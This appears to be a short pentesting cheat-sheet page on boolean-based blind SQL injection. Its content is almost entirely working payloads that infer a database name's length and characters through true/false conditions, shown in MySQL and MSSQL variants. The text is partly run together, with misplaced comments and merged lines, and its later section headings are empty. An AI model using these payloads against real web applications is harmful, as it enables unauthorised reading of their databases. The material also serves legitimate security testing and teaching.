Boolean Based
Theory
Practice
Getting database
1' AND (SELECT LENGTH(database()))=1-- - #False
1' AND (SELECT LENGTH(database()))=2-- - #False
1' AND (SELECT LENGTH(database()))=3-- - #True -> length of database is 3 characters.--True -> It means the first character is p.
1' AND (SELECT HEX(SUBSTRING(database(), 1, 1)))=HEX('p')-- -
1' AND (SELECT ASCII(SUBSTRING(database(), 1, 1)))=112-- - #ASCII code is in decimal
--True -> It means the second character is w.
1' AND (SELECT HEX(SUBSTRING(database(), 2, 1)))=HEX('w')-- -
--True -> It means the third character is n.
1' AND (SELECT HEX(SUBSTRING(database(), 3, 1)))=HEX('n')-- -1' AND (SELECT LEN(DB_NAME()))=1-- #False
1' AND (SELECT LEN(DB_NAME()))=2-- #False
1' AND (SELECT LEN(DB_NAME()))=3-- #True -> It means the length of database is 3 characters.--True -> It means the first character is p. Note that ASCII code is in decimal
1' AND (SELECT ASCII(SUBSTRING(DB_NAME(), 1, 1)))=112--
--True -> It means the second character is s.
1' AND (SELECT ASCII(SUBSTRING(DB_NAME(), 2, 1)))=115--
--True -> It means the third character is s.
1' AND (SELECT ASCII(SUBSTRING(DB_NAME(), 3, 1)))=115--Getting Tables
Getting Columns
Dump values
Resources
Last updated